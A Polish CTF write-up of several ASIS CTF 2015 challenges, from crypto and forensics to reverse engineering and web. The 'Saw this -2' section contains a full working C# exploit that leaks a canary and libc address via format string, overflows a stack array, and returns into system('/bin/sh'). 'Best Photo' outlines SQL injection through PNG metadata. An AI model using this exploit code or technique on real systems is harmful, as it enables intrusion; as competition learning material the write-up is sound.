Uczestniczyliśmy (@msm i @Rev ) w ASIS CTF, i znowu spróbowaliśmy opisać to z czym walczyliśmy (z tygodniowym opóźnieniem tym razem) - może kogoś zainteresuje albo ktoś coś ciekawego znajdzie dla siebie.

Ogólne wrażenia:
Na plus na pewno ogóle działanie i organizacja - wszystko działało stabilne i nie trzeba było się modlić że akurat serwer z zadaniem bedzie działać.
W dodatku niektóre zadania były ciekawe dla nas i można było się nauczyć rzeczy których nigdy wcześniej nie próbowaliśmy (saw-this 2 np).
Za to co nam się nie podobało - ostatnio narzekałem na dużą ilość zadań - tym razem było jeszcze więcej ;). Ponad 30 zadań jeśli dobrze pamiętam, trochę przesada.
W dodatku pod koniec (kiedy już sobie daliśmy spokój, bo z dwóch dni CTFa siedzieliśmy nad nim głównie w sobotę) pojawiły się dwa bardzo głupie zadania - jedno (99p) polegało na wysłaniu maila do organizatorów z opisem wrażeń z działania CTF, a drugie (100p) na... wypełnieniu ankiety.
Ani jednego ani drugiego nie zrobiliśmy, mamy swoją godność (no i spaliśmy już) :P. Ale trochę niefajnie że można było dostać 200 darmowych punktów.

To już tradycyjnie, opisy zadań.

<font size="6">What's example flag? (1p, rozwiązał chyba każdy kto brał udział w CTF)</span>

Trywialne "zadanie":
1c2f2e1c7a.png

Polegało na znalezieniu "przykładowej flagi", a była ona podana w zasadach CTFa:
f456c4a7b8.png

To tylko tyle w tym zadaniu, idziemy dalej.

<font size="6">Simple Algorithm (100p, 103 solves)</span>

Zaskakująco dużo problemów nam zrobiło jak na takie proste zadanie (widać było proste dla innych, bo sporo osób go rozwiązało - dla nas nie bardzo).

Dostajemy bardzo prosty i krótki kod w pythonie, oraz zaszyfrowaną nim flagę (czyli typowe crypto, poza tym że teraz kod jest naprawdę krótki):

flag = '[censored]'
hflag = flag.encode('hex')
iflag = int(hflag[2:], 16)

def FAN(n, m):
    i = 0
    z = []
    s = 0
    while n > 0:
        if n % 2 != 0:
            z.append(2 - (n % 4))
        else:
            z.append(0)
        n = (n - z[i])/2
        i = i + 1
    z = z[::-1]
    l = len(z)
    for i in range(0, l):
        s += z[i] * m ** (l - 1 - i)
    return s

i = 0
r = ''
while i < len(str(iflag)):
    d = str(iflag)[i:i+2]
    nf = FAN(int(d), 3)
    r += str(nf)
    i += 2

print r

Za to zaszyfrowana flaga to "2712733801194381163880124319146586498182192151917719248224681364019142438188097307292437016388011943193619457377217328473027324319178428"

Długo błądziliśmy (mniejsza z tym zresztą, bo wstyd), ale ostatecznie jako Team Bruteforce napisaliśmy bardzo bezpośredni bruteforcer - nie wchodząc w szczegóły, szedł od końca po sufiksach flagi, i deszyfrował każdy z osobna (taki trochę algorytm dynamiczny).

Cały bruteforcer można podsumować tak:

for i in range(len(s)):
    tails.append(s[-i-1:])

map = {}
map[''] = ['']
for t in tails:
    res = set()
    for i, o in opts:
        if t.startswith(o):
            enc2 = t[len(o):]
            res |= set(i + x for x in map[enc2])
    map[t] = res
    MAX_O = 4
    for j in tails:
        if j in map and len(j) + MAX_O < len(t):
            del map[j]
    print len(res), t
            
out = map[s]
for i in out:
    show_result(i)

Czyli: dla każdego sufiksu idąc od końca wylicz zbiór możliwych słow które się do niego szyfrują, i zapisz do mapy.

Jeden problem: program zajmował chore ilości ramu ;). Chore, to znaczy 12 GB swapu + 8 GB pamięci fizycznej mu nie wystarczyło. Ale jako Team Bruteforce, zamiast optymalizować zużycie pamięci, dorzuciliśmy swapu do windowsa (80 GB dla ciekawych, na zapas) i uruchomiliśmy program jeszcze raz - i tym razem odnieśliśmy sukces:

ASIS{a9ab115c488a311896dac4e8bc20a6d7}

<font size="6">Broken Heart (100p, 123 solves)</span>
Zadanie proste i przyjemne, idealne na początek. Dostajemy dump z pcapa, ładujemy do Wiresharka i od razu sprawdzamy w “export objects” pliki pobrane w czasie zarejestrowanej sesji przez HTTP. Strzał w dziesiątkę - 23 requesty o plik “LoiRLUoq” ze strony organizatorów zawodów. W międzyczasie eksportujemy pliki i patrzymy na jeden z requestów. Pierwsze co rzuca się w oczy w nagłówkach HTTP to “Content-Range”. Każdy request ma inny zakres bajtów, ale - co nieco komplikuje sprawę - okazuje się, że zakresy zachodzą na siebie, a na dodatek brakuje pierwszych 13 bajtów. W takiej sytuacji nie skleimy części plików ręcznie, ale piszemy do tego prosty program:

var res = new Regex(@"(?<id>\d+).*?(?<start>\d+).*?(?<end>\d+)").Matches(data);

var buffer = new byte[2347916];

for (int i = 0; i < 23; i++)
{
    int id = int.Parse(res[i].Groups["id"].Value) - 1);
    var filename = string.Format(@"LoiRLUoq({0})", id);
    var bytes = File.ReadAllBytes(filename);

    int start = int.Parse(res[i].Groups["start"].Value);
    int end = int.Parse(res[i].Groups["end"].Value);

    int count = end - start;

    Array.Copy(bytes, 0, buffer, start, count);
}

File.WriteAllBytes(@"result.bin", buffer);

Zagadka z brakującymi 13 bajtami szybko się rozwiązuje gdy po otworzeniu pliku w hexedytorze zauważamy, że to obraz png.

Wstawienie bajtów standardowego nagłówka PNG dało nam flagę:

5ab51ef661.png

<font size="6">Grids (300p, 38 solves)</span>

Bardzo proste dla Nas, Programistów zadanie (i aż 300 punktów za nie): dostajemy listę punktów, i mamy obliczyć jakie największe pole powierzchni da się nimi pokryć, łącząc te punkty w wierzchołki wielokąta.

(tutaj każdy może się zastanowić jak by to sam rozwiązał)

Widać że wystarczy znaleźć otoczkę wypukłą (convex hull) punktów, i obliczyć powierzchnię wynikowej figury. I to i to można prosto oraz efektywnie zrobić (kod po części sklejany ze snippetów znalezionych w sieci):

import socket

def _myDet(p, q, r):
    sum1 = q[0]*r[1] + p[0]*q[1] + r[0]*p[1]
    sum2 = q[0]*p[1] + r[0]*q[1] + p[0]*r[1]
    return sum1 - sum2


def _isRightTurn((p, q, r)):
    return _myDet(p, q, r) < 0

def convexHull(P):
    points = map(None, P)
    points.sort()

    # Build upper half of the hull.
    upper = [points[0], points[1]]
    for p in points[2:]:
        upper.append(p)
        while len(upper) > 2 and not _isRightTurn(upper[-3:]):
            del upper[-2]

    # Build lower half of the hull.
    points.reverse()
    lower = [points[0], points[1]]
    for p in points[2:]:
        lower.append(p)
        while len(lower) > 2 and not _isRightTurn(lower[-3:]):
            del lower[-2]

    # Remove duplicates.
    del lower[0]
    del lower[-1]

    # Concatenate both halfs and return.
    return tuple(upper + lower)


def segments(p):
    return zip(p, list(p[1:]) + [p[0]])

def area(p):
    return 0.5 * abs(sum(x0*y1 - x1*y0 for ([x0, y0], [x1, y1]) in segments(p)))

HOST = '217.218.48.84'
PORT = 12434

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

print s.recv(99999)
print s.recv(99999)

s.sendall('yes')

print s.recv(999999)

while True:
    print s.recv(999999)
    data = s.recv(999999)
    print data
    points = eval(data[:data.find('\n')])
    hull = convexHull(points)
    areaVal = str(area(hull))
    print areaVal
    s.sendall(areaVal)
    print s.recv(999999)

print s.recv(999999)
print s.recv(999999)

Zadziałało (co aż dziwne) za pierwszym razem:

921d5fb056.png

Szło, i szło, aż w końcu:

The points:

[[83, 48], [35, 32], [13, 58], [41, 52], [5, 10]
05, 4], [72, 87], [38, 19], [14, 92], [69, 48],
8, 94], [34, 38], [91, 39], [24, 91], [88, 75],
5, 2], [107, 13], [57, 36], [47, 46], [97, 17],
17, 69], [33, 54], [35, 99], [68, 67], [43, 62],
2, 27], [42, 48], [9, 19], [50, 59], [21, 25], [
56, 81], [86, 106], [34, 82], [89, 4], [64, 69],
What's the area?
9731.0
Great :)

Congratz! ASIS{f3a8369f4194c5e44c03e5fcefb8ddf6}

<font size="6">Saw this -1 (100p, 66 solves) </span>

Szybka analiza mówi nam, że podany program to 64-bitowy serwer na Linuksa, który każde nam podać nasze imię i “szczęśliwą liczbę” oraz w formie gry każe losuje od kilku do kilkunastu liczb i każe nam je zgadnąć. Jeżeli się uda to (najprawdopodobniej) dostaniemy flagę.

How can I call you? p4
Welcome, p4!
Choose your lucky number (1-100)! But choose wisely, your life depends on it: 50
I've thought of 4 numbers. If you guess them correctly, you are free!
Number #1: 25
Number #2: 50
Number #3: 75
Number #4: 100
YOU LOST THE GAME! IT'S OVER!

W procedurze gry (sub_400D73) widzimy wywołania srand oraz rand. Ziarno podawane tej pierwszej funkcji jest uzyskane z dodania wartości statycznego pola dword_603148 oraz podanej przez nas “magicznej liczby”. dword_603148 ustawiany jest wcześniej wynikiem wywołania rand, a ziarno użyte przy tym losowaniu pochodzi z /dev/urandom. Tego ominąć się nie da, ale ciekawe jest położenie naszego pola. Okazuje się, że znajduje się ono w sekcji bss zaraz przed unk_603108, co jest naszym imieniem pobranym przez program na samym początku. Nie da się co prawda niczego nadpisać (bo pobierane jest maksymalnie 64 znaków i takiej wielkości jest pamięć na nią), ale zauważamy, że przy pobieraniu nie jest ustawiany ostatni znak na \0 i nie jest to sprawdzane przy wyświetlaniu. Gdybyśmy zatem wysłali imię o długości 64 znaków to doklejone na koniec powinno być nasze ziarno.

How can I call you? xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Welcome, xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx(��!

Niestety, szybka próba wygenerowania tych samych liczb z podanego ziarna skończyła się niepowodzeniem. Na szczęście przypomnieliśmy sobie, że istnieje metoda na zmianę algorytmu generującego liczby w glibc i wpłynąć na to może wywołanie funkcji initstate. Tak właśnie dzieje się to tutaj i stąd dopasowujemy nasz algorytm generowania liczb.

var state = 1;

Func<int> rand = () => state = ((state * 1103515245) + 12345) & 0x7fffffff;
Func<int, int> number = r => (int)Math.Floor(r / 2147483647.0 * 256.0);

var client = new TcpClient("87.107.123.3", 31337);

var stream = client.GetStream();

var writer = new StreamWriter(stream, Encoding.ASCII) { NewLine = "\n" };

stream.ReadUntil("How can I call you? ");

var format = "p4".PadRight(64);

writer.WriteLine(format);
writer.Flush();

stream.ReadUntil(format);

int seed;

{
    int a = stream.ReadByte();
    int b = stream.ReadByte();
    int c = stream.ReadByte();
    int d = stream.ReadByte();

    seed = (d << 24) | (c << 16) | (b << 8) | (a);
}

Console.WriteLine("Seed = {0:x}", seed);

state = seed;
rand();

writer.WriteLine("0");
writer.Flush();

{
    stream.ReadUntil("\n");

    var count = int.Parse(Regex.Match(stream.ReadUntil("\n"), @"(\d+) numbers").Groups[1].Value);

    for(int i = 0; i < count; i++)
            writer.WriteLine(number(rand()));

    writer.Flush();
}

while(true)
    Console.Write(stream.ReadUntil("\n"));

Uruchomienie daje nam flagę:

               Good job Mario, but your princess isn't here!

                               Get a shell!

Flag 1: ASIS{109096cca8948d1cebee782a11d2472b}
Do you want to play again (y/n)?

<font size="6">Saw this -2 (400p, 23 solves)</span>

Jest to rozwinięcie powyższego zadania. Ta sama binarka, ten sam serwer, ale nowy cel (który został nam zdradzony w wiadomości kończącej poprzednie zadanie: Get a shell!). Musimy przyznać, że (dla przynajmniej części z nas) było to pierwsze pomyślnie rozwiązane zadanie tego typu, nauczyliśmy się przy nim bardzo dużo i jesteśmy z tego dumni!

W zadaniach z kategorii pwn bardzo często zdarza się, że celem pośrednim w uzyskaniu shella jest nadpisanie adresu powrotu którejś z funkcji. W naszym zadaniu mamy jedną funkcję, która obsługuje całą grę i to właśnie na niej się skupiliśmy.

Czym natomiast moglibyśmy stos nadpisać? Funkcja pobierająca od nas dane tekstowe jest zabezpieczona maksymalną ilością znaków i tego nie ominiemy. A co z samymi liczbami? Dlaczego ich ilość jest za każdym razem inna? Metoda generowania tej ilości jest następująca: floor((double)rand() / 2147483647.0 * 13.0 + 4.0);. Na stosie jest miejsce na przechowanie 16 liczb. Ale co się stanie, gdy rand wylosuje maksymalną wartość, czyli 2147483647? Dostalibyśmy możliwość wpisania 17 liczb!

Co nam to da? Ano okazuje się, że tablica przechowująca wpisane liczby ma tylko 16 pozycji. Więc mamy klasyczny buffer overflow - a za tą tablicą znajduje się zmienna, której wartość sprawdzana jest w pętli od wpisywania liczb! Manipulując nią moglibyśmy zapisać jeszcze więcej. Ale w jaki sposób zagwarantować sobie, że pierwsze wywołanie rand da nam właśnie 2147483647? A w taki, że ziarno możemy sobie modyfikować wprowadzoną wcześniej “magiczną liczbą”. Ta niby nie może wynosić więcej niż 1000, ale nie ma żadnego warunku sprawdzającego czy liczba jest ujemna. Szybki bruteforce daje nam docelowy seed: 230538014 i z wygenerowanym pierwotnie ziarnem możemy obliczyć nasz magiczny modyfikator: magic = -(seed - 230538014);

Jesteśmy teraz w stanie pisać w dół stosu, ale na straży naszej podróży stoi zły potwór, czyli kanarek. Jest to wartość generowana na początku funkcji, wstawiana na stos i porównywana przed wyjściem. Jeżeli zostanie przez kogokolwiek nadpisana (np. w drodze do nadpisania adresu powrotu) to w brutalny sposób kończy naszą zabawę. Musimy zatem poznać wartość kanarka i go odtworzyć. Wracamy do patrzenia się w kod i zauważamy, że komunikat wyświetlający rezultat gry wyświetlany jest przez printf jako format zamiast wartość (tj. printf(wartość_pobrana) zamiast printf(“%s”, wartość_pobrana)). Gdybyśmy mogli go zmienić to dałoby nam to możliwość dowolnej manipulacji formatem (atak typu “Uncontrolled format string”). Dzięki temu moglibyśmy np. podglądać stos (i znaleźć wartość naszego kanarka).

Jednak póki co stos możemy tylko modyfikować, ale korzystając z możliwości zagrania jeszcze raz możemy nadpisać stos od nowa już po wywołaniu feralnego printf. Nowy format przemycamy w podanym na początku imieniu i jego adresem nadpisujemy oryginalny. Dzięki temu, metodą prób i błędów dochodzimy, że nasz kanarek wyświetlić możemy za pomocą modyfikatora %17$p.

Nie zostało nam teraz nic innego niż w jeden ze standardowych metod przywołać sobie shell adresem powrotu. Zdecydowaliśmy się na wywołanie funkcji system z glibc. Tutaj trochę stukaliśmy się w głowy, bo zapomnieliśmy ustawić dostarczonej przez organizatorów zadania glibc i z początku nie zgadzały nam się offsety. Po krótkiej zabawie z badaniem stosu znaleźliśmy w nim wskaźnik w glibc (modyfikator %21$p), który po dodaniu odpowiedniego offsetu da nam adres do docelowej funkcji. Potrzebowaliśmy jeszcze adresu samego stosu (modyfikator %18$p) do wrzucenia wskaźnika do argumentu system, czyli “/bin/sh” (również przemyconego w imieniu) oraz małego gadżetu do ustawienia tego argumentu, czyli pop rdi; ret).

Wszystko złożyliśmy w całość i powstał taki program:

var client = new TcpClient("87.107.123.3", 31337);

var stream = client.GetStream();
stream.ReadTimeout = 200;

var writer = new StreamWriter(stream, Encoding.ASCII) { NewLine = "\n" };

stream.ReadUntil("How can I call you? ");

//           canary glibc stack
var format = "%17$p|%21$p|%18$p||".PadRight(64);

writer.WriteLine(format);
writer.Flush();

stream.ReadUntil(format);

int seed;

{
    int a = stream.ReadByte();
    int b = stream.ReadByte();
    int c = stream.ReadByte();
    int d = stream.ReadByte();

    seed = (d << 24) | (c << 16) | (b << 8) | (a);
}

var magic = -(seed - 230538014);

writer.WriteLine(magic.ToString());
writer.Flush();

Action<int> write = n =>
{
    writer.WriteLine(n);
    Console.WriteLine("0x{0:x}", n);
};

{
    stream.ReadUntil("\n");
    var count = int.Parse(Regex.Match(stream.ReadUntil("\n"), @"(\d+) numbers").Groups[1].Value);

    for (int i = 0; i < count; i++) write(56);

    for (int i = 0; i < 3; i++) write(0);

    write(magic & 0xff);
    write((magic >> 8) & 0xff);
    write((magic >> 16) & 0xff);
    write(magic >> 24);

    write(1); // bajt oznaczający zwycięstwo w grze

    for (int i = 0; i < 15; i++) write(0);

    write(0x08); // adres nowego formatu przemyconego w imieniu
    write(0x31);
    write(0x60);
    write(0x00);
    write(0x00);
    write(0x00);
    write(0x00);
    write(0x00);

    for (int i = 0; i < 8; i++) write(0x69);

    writer.Flush();

    writer.WriteLine("y");
    writer.Flush();
}

stream.ReadUntil("0x");

var canary = ulong.Parse(stream.ReadUntil("|").TrimEnd('|'),
    System.Globalization.NumberStyles.HexNumber);

var glibc = ulong.Parse(stream.ReadUntil("|").TrimEnd('|').Substring(2),
    System.Globalization.NumberStyles.HexNumber);

var system = glibc + 0x20dc3;

var stack = ulong.Parse(stream.ReadUntil("|").TrimEnd('|').Substring(2),
    System.Globalization.NumberStyles.HexNumber);

var binsh = stack - 0xE8;

{
    stream.ReadUntil("thought");
    var count = int.Parse(Regex.Match(stream.ReadUntil("\n"), @"(\d+) numbers").Groups[1].Value);

    for (int i = 0; i < count; i++) write(112);

    for (int i = 0; i < 3; i++) write(0);

    write(magic & 0xff);
    write((magic >> 8) & 0xff);
    write((magic >> 16) & 0xff);
    write(magic >> 24);

    write(1); // bajt oznaczający zwycięstwo w grze

    for (int i = 0; i < 15; i++) write(0);

    write(0x08); // adres nowego formatu przemyconego w imieniu
    write(0x31);
    write(0x60);
    write(0x00);
    write(0x00);
    write(0x00);
    write(0x00);
    write(0x00);

    for (int i = 0; i < 8; i++) write(0x69);

    var bytes = BitConverter.GetBytes(canary);

    for (int i = 0; i < 8; i++)
        write(bytes[i]); // kanarek

    for (int i = 0; i < 8; i++) write(0x69);

    bytes = Encoding.ASCII.GetBytes("/bin/sh");
    for (int i = 0; i < 7; i++)
        write(bytes[i]); // argument

    write(0x00);

    for (int i = 0; i < 8; i++) write(0x70);

    // 0x401073 pop rdx gadget

    write(0x73);
    write(0x10);
    write(0x40);
    write(0x00);
    write(0x00);
    write(0x00);
    write(0x00);
    write(0x00);

    // /bin/sh

    bytes = BitConverter.GetBytes(binsh);

    for (int i = 0; i < 8; i++)
        write(bytes[i]);

    // system

    bytes = BitConverter.GetBytes(system);

    for (int i = 0; i < 8; i++)
        write(bytes[i]);

    writer.Flush();
}

stream.ReadUntil("again (y/n)? ");
writer.WriteLine("n");
writer.Flush();

writer.WriteLine("cat flag");
writer.Flush();

while (true)
    Console.Write(stream.ReadUntil("\n"));

Uruchomienie daje nam wynik:

7h15_ch4ll3ng3_g4v3_m3_br41n_c4nc3r

Flag 2: ASIS{be70e244675b9acd21ac0097d4f9d69b}

<font size="6">Leach (250p, 58 solves)</span>

Bardzo proste zadanie, więc zaskakuje aż że tyle punktów za niego.

Sprowadzało się (po usunięciu niepotrzebnych utrudnień) do czegoś w rodzaju:

puts("this may take too long time ... :)");
for (int i = 0; i < sleep_count; i++) {
    int start = time();
    sleep(sleep_arr[i]);
    int stop = time();
    int diff = stop - start;
    calculate_sth(diff);
}
print_flag();

Gdzie wypisywanie flagi zależało w jakiś sposób od wyniku obliczeń wyżej.
My nie bawiliśmy się w rozgryzanie algorytmu, i po prostu spatchowaliśmy ten program do takiej postaci:

puts("this may take too long time ... :)");
for (int i = 0; i < sleep_count; i++) {
    int diff = sleep_arr[i];
    calculate_sth(diff);
}
print_flag();

Ładniej, krócej, i przede wszystkim szybciej - wykonuje się od razu:

689b4815d5.png

<font size="6">Dark (125p, 47 solves)</span>

Mało do opowiadania, chociaż trochę walczyliśmy z reversowaniem programu. Dostaliśmy dwa pliki - pierwszym był program "dark", który szyfruje plik wejściowy i zapisuje wynik szyfrowania do pliku wyjściowego. Drugim plikiem była oczywiście zaszyfrowana flaga.

Po odrobinie bładzenia, udało nam się zreversować działanie szyfrującego programu i stworzyć analogiczny program w języku C:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>

int main(int argc, const char **argv) {
    int ELM_SIZE = 16;
    const int INPUT_SIZE = 30215;
    uint8_t buffer[30215];
    uint8_t buffer2[30215];
     
    if (argc == 3) {
        FILE *infile = fopen(argv[1], "rb");
        FILE *outfile = fopen(argv[2], "wb");
        fread(&buffer, 1uLL, INPUT_SIZE, infile);
        for (int i = 0; i < INPUT_SIZE / ELM_SIZE; ++i) {
            for (int j = 0; j < ELM_SIZE; ++j) {
                uint8_t byte = buffer[ELM_SIZE * (i + 1) - j - 1];
                byte = ((byte & 0xF) << 4) | ((byte & 0xF0) >> 4);
                buffer2[ELM_SIZE * i + j] = i * i ^ j * j ^ byte;
            }
        }
        fwrite(buffer2, 1uLL, INPUT_SIZE, outfile);
        fclose(outfile);
        fclose(infile);
    } else {
            printf("Usage: %s inputfile outputfile\n", *argv, envp);
    } return 0;
}

Metoda "szyfrowania" jak widać jest bardzo prosta - można bez żadnego problemu odwrócić cały mechanizm, co też zrobiliśmy zamieniając wewnętrzną pętlę for na:

uint8_t byte = buffer[ELM_SIZE * i + j] ^ i*i ^ j*j;
byte = ((byte & 0xF) << 4) | ((byte & 0xF0) >> 4);
buffer2[ELM_SIZE * (i + 1) - j - 1] = byte;

Wykonujemy tak napisany program deszyfrujący na podanej fladze:

./decrypt.exe flag.test.crypt flag.test.decrypt

Otrzymujemy coś co jest plikiem pdf, a po otworzeniu go...

1d1c69167a.png

Oczywiście dostajemy obiecaną flagę - ASIS{6b8dd896aaef5c60b475f92de24ca39b}.

<font size="6">KeyLead (150p, 123 solves)</span>

Kolejne proste zadanie z reverse engineeringu ;).

Dostajemy program który wygląda (po przetłumaczeniu do C) mniej więcej tak:

puts("Welcome to dice game!");
puts("You have to roll 5 dices and get 3, 1, 3, 3, 7");

int a1 = rand() % 6 + 1;
int a2 = rand() % 6 + 1;
int a3 = rand() % 6 + 1;
int a4 = rand() % 6 + 1;
int a5 = rand() % 6 + 1;

if (a1 != 3 || a2 != 1 || a3 != 3 || a4 != 3 || a4 != 7) {
    puts("You DID NOT roll as I said!");
} else {
    puts("You rolled as I said! I'll give you the flag");
    calculate_flag(a1, a2, a3, a4, a5);
}

(tak naprawde to był trochę bardziej skomplikowany, ponieważ zawierał prosty anti-debug (timery sprawdzające zatrzymywanie na breakpointach)).
Hmm, coś tu jest nie tak - rzut kostką k6 nigdy nie da 7. Po uzmysłowieniu sobie tego faktu, po prostu zmodyfikowaliśmy w odpowiednim momencie "rzuty kostką", i pozwoliliśmy programowi wykonać się normalnie dalej:

hi all ----------------------
Welcome to dice game!
You have to roll 5 dices and get 3, 1, 3, 3, 7 in order.
Press enter to roll.

You rolled 3, 1, 3, 3, 7.
You rolled as I said! I'll give you the flag.
ASIS{1fc1089e328eaf737c882ca0b10fcfe6

Proste, idziemy dalej.

<font size="6">Selfie (150p, 58 solves)</span>

Trudniejsze zadanie, a to dlatego że nie wiadomo do końca co trzeba zrobić.

Dostajemy program którego działanie sprowadza się do (w uproszczeniu, po usunięciu zbędnych elementów):

int main() {
    puts("ASIS{4a2cdaf7d77165eb3fdb70 : i am the first part of flag")
    if (argc == 3) {
    char *something = find_index_in_file(argv[0], 'Try');
        puts(something);  // (wypisuje 'try harder')
    }
}

Gdzie funkcja find_index_in_file otwiera sama siebie (argv[0] = wykonujący się ELF) i szuka w nim jakiegoś napisu.
Co możemy z tym zrobić? Hmm, w zasadzie nic. Ale ciekawe jest czemu program sam siebie otwiera i szuka czegoś w sobie zamiast od razu go wypisać? Po otworzeniu pliku w hexedytorze odkrywamy że na końcu ELFa jest po prostu doklejony drugi - wypakowaliśmy go i również otworzyliśmy.

W nim już dużo ciekawsza logika. Zdecydowaliśmy się w koncu przepisać ją do C w celu lepszej analizy:

#include <stdint.h>
int64_t some_check(int64_t a1) {
  int64_t result;
  signed int i;
  long double v3;

  if (a1 * a1 == a1) {
    result = 0LL;
  } else {
    v3 = (long double)(a1 / 2);
    for ( i = 0; i < 1000; ++i )
          v3 = (v3 * v3 + (long double)a1) / (v3 + v3);
    result = 0.0 != v3 - (long double)(int64_t)v3;
  }
  return result;
}

int main() {
    if (some_check()) { exit(1); }
    for (int i = 0; (signed int)i < (signed int)10000000; ++i ) {
      if (!(unsigned int)some_check((signed int)i) )
              putchar(data[i + 1]);
    }
}

Oczywiście pierwsze co zrobiliśmy to usunięcie pierwszej linijki maina (tej od sprawdzania jakichś warunków) - nie potrzebujemy żeby program nam exitował za szybko ;).
Po zrobieniu tego już nie narzekał na nic i ładnie wypisał flagę:

7874c8b58a.png

<font size="6">Tera (100p, 58 solves)</span>

Program pobierał jakiś plik (konkretnie darksly.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000), a następnie wypisywał jego odpowiednie bajty, które tworzyły flagę. Konkretnie coś w rodzaju:

char *data = malloc(size_of_data);
download_file('http://darksly.slac.stanford.edu/simulations/ds14_a/ds14_a_1.0000', data);
for (int i = 0; i < num_words; i++) {
    printf("%4c", data[offsets[i]] ^ nums[i]);
}

(gdzie words to tablica offsetów, a nums to tablica liczb z którymi xorujemy dane).

W zasadzie wszystko pięknie, poza tym że pobierany plik miał 34 359 739 943 392 bajtów ;). (34 terabajty). Po zastaniwieniu się, doszliśmy do wniosku że pobieranie go może potrwać 'trochę' za długo, i musimy rozważyć inne rozwiązania.

Okazało się na szczęście że serwer wysyłający plik wspiera HTTP RANGE (czyli request o określony przedział bajtów), więc mogliśmy zrobić to co umiemy najlepiej, czyli machnać brzydki skrypt w pythonie na kolanie:

import socket

pointers = [0x4C89617CF4, 0x0B4B5E95F83, 0x0E4598D686B, 0x136A62674EF, 0x1837A65BEB7, 0x19FA831467C, 0x2A6202ACD01, 0x4493F10645E, 0x4CDCE6D65E4, 0x5028EC8DE7E, 0x56219504A56, 0x5BD2D191DB8, 0x72BD5D02592, 0x73DEE6D04FE, 0x0A25E5AFE320, 0x0A73B464FB9E, 0x0B6259F6E34B, 0x0B9AA45094DC, 0x0BC548E0EA39, 0x0C7AC41ECC56, 0x0C85F073FB8B, 0x0C92536A9116, 0x0D930BE6DABF, 0x0E61B989DA40, 0x0F37999CA268, 0x0FB7C59B9D1F, 0x1018D3A3939D, 0x10202AED0369, 0x10E8FB926CF3, 0x113BC38EA065, 0x13257504044F, 0x14FB0612DC3C, 0x16572370DA92, 0x173D75634441, 0x1B9D0F2D9374, 0x1BA90DE42D8E, 0x1BE9EF4C8F3E, 0x1BFDA4B84E00]
pointers2 = [0x0F2, 0x9A, 0x83, 0x12, 0x39, 0x45, 0x0E7, 0x0F4, 0x6F, 0x0A1, 0x6, 0xE7, 0x95, 0x0F3, 0x90, 0x0F2, 0x0F0, 0x6B, 0x33, 0x0E3, 0x0A8, 0x78, 0x37, 0x0D5, 0x44, 0x39, 0x61, 0x8A, 0x0FB, 0x22, 0x0FA, 0x9E, 0x0E7, 0x11, 0x39, 0x0A6, 0x0F3, 0x33];

HOST = 'darksky.slac.stanford.edu'
PORT = 80
REQUEST = '''GET /simulations/ds14_a/ds14_a_1.0000 HTTP/1.1
Host: {}
Range: bytes={}-{}
Accept: */*

'''
def getdata(ndx):
    req = REQUEST.format(HOST, ndx, ndx+3)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.sendall(req)
    dat = s.recv(10000)
    ndx = dat.find('\r\n\r\n') + 4
    num = dat[ndx:ndx+4]
    import struct
    return struct.unpack('<I', num)[0]

for i in range(38):
    ndx = pointers[i]
    next = getdata(ndx)
    next2 = pointers2[i]
    result = (next ^ next2) & 0xFF
    import sys
    sys.stdout.write(chr(result))
print

I dostaliśmy piękną flagę w zamian.

<font size="6">Best Photo (175p, 56 solves)</span>

Ciekawe zadanie.

Możemy wrzucać pliki .png (i zapewne inne) na stronę:

205ae09799.png

A ona wyświetla nam informacje o pliku:

dcb0bb334b.png

Udało nam się dojść do tego jak rozwiązać to zadanie, bo widzieliśmy kiedyś coś podobnego - konkretnie sql injection w metadanych png.

Problemem okazało się to, że SQL injection występowało jedynie w INSERT (coś w rodzaju INSERT INTO xxx (fileid, value) VALUES (id, metadata_as_json) )
Czyli zapytanie po SQL injection w praktyce wyglądało mniej więcej tak:
INSERT INTO xxx (fileid, value) VALUES (111, '{"key1": "value1", "key2", "' + NASZE_SQLI

Problemem okazało się to, że mysqlowy + chciał dodaje liczby, a my potrzebowaliśmy łaczyć napisy (przykładowo żeby wyświetlić nazwę interesującej nas tabeli). Ostatecznie poddaliśmy się, i zdecydowaliśmy wyciągnąć to co chcemy po literce (rzutować po literce do inta i insertować ją). Napisaliśmy program/skrypt w C# który wykonywał dokładnie to automatem - nie mam niestety dostępu do źródeł, może kiedy @Rev przyjdzie to wrzuci.

I po chwili czekania/robienia zapytań po literce otrzymaliśmy to czego szukaliśmy, czyli flagę.

<font size="6">PS</span>

To była historia z zeszłego weekendu. W tym tygodniu (DEFCON Quals 2015) nie startowaliśmy, bo nie mieliśmy czasu, ale za to za tydzień, jeśli wszystko pójdzie OK, będziemy obecni na CONFidence i CONFidencowym CTFie :>.